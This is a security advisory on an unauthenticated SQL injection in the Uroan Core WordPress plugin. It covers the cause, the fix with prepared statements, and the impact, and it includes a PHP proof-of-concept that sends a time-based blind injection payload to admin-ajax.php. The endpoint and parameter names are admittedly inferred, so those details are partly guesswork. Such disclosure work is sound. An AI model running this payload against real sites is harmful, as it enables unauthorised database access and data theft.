Atomic Edge analysis of CVE-2025-69365 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Uroan Core WordPress plugin, affecting versions up to and including 1.4.4. The flaw allows attackers to execute arbitrary SQL commands against the site’s database by manipulating a user-supplied parameter, leading to potential data exfiltration.
Atomic Edge research infers the root cause is a failure to properly sanitize or parameterize user input before its inclusion in an SQL query. The description cites insufficient escaping and lack of preparation. This indicates the plugin likely constructs SQL statements by directly concatenating user-controlled variables, bypassing the use of WordPress’s secure `$wpdb->prepare()` method. These conclusions are inferred from the CWE-89 classification and the public description, as the source code is unavailable for confirmation.
Exploitation likely occurs via a public-facing WordPress hook, such as an AJAX endpoint registered with `wp_ajax_nopriv_` or a REST API route. An attacker would send a crafted HTTP request to `/wp-admin/admin-ajax.php` with an `action` parameter containing a value like `uroan_core_action`. The malicious SQL payload would be placed in another request parameter, such as `id` or `slug`. A typical payload might use a time-based blind injection technique, like `1′ AND SLEEP(5)– -`, to extract data.
Remediation requires modifying the vulnerable code to use WordPress’s built-in database abstraction layer correctly. All user input must be passed as parameters to `$wpdb->prepare()` for proper escaping and query preparation. Input validation using `sanitize_*` functions should also be implemented as a secondary defense. The patched version would replace string concatenation in SQL statements with prepared statements.
The primary impact is confidentiality loss, as reflected in the CVSS vector (C:H/I:N/A:N). Successful exploitation enables unauthenticated attackers to extract sensitive information from the database. This can include user credentials, personally identifiable information, and other private site data, potentially leading to further compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69365 - Uroan Core <= 1.4.4 - Unauthenticated SQL Injection
<?php
/**
* Proof-of-concept for CVE-2025-69365.
* This script attempts to demonstrate a time-based blind SQL injection.
* The exact endpoint and parameter names are inferred from WordPress plugin conventions.
* Assumptions:
* 1. The vulnerable endpoint is `/wp-admin/admin-ajax.php`.
* 2. The AJAX action hook is derived from the plugin slug ('uroan_core').
* 3. A vulnerable parameter exists, here assumed to be 'item_id'.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CONFIGURE THIS
// Inferred AJAX action for unauthenticated users.
$action = 'uroan_core_get_data';
// Parameter assumed to be vulnerable.
$vuln_param = 'item_id';
// Time-based blind SQL injection payload.
// This payload causes a 5-second delay if the injection is successful.
$payload = "1' AND (SELECT SLEEP(5))-- -";
$post_data = array(
'action' => $action,
$vuln_param => $payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // Increase timeout to detect delay
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);
$request_duration = $end_time - $start_time;
if ($request_duration > 5) {
echo "[+] Potential SQL Injection successful. Response delayed by " . round($request_duration, 2) . " seconds.n";
} else {
echo "[-] No time delay detected. The endpoint or parameter may be incorrect, or the site may not be vulnerable.n";
}
echo "Response snippet: " . substr($response, 0, 200) . "n";
?>
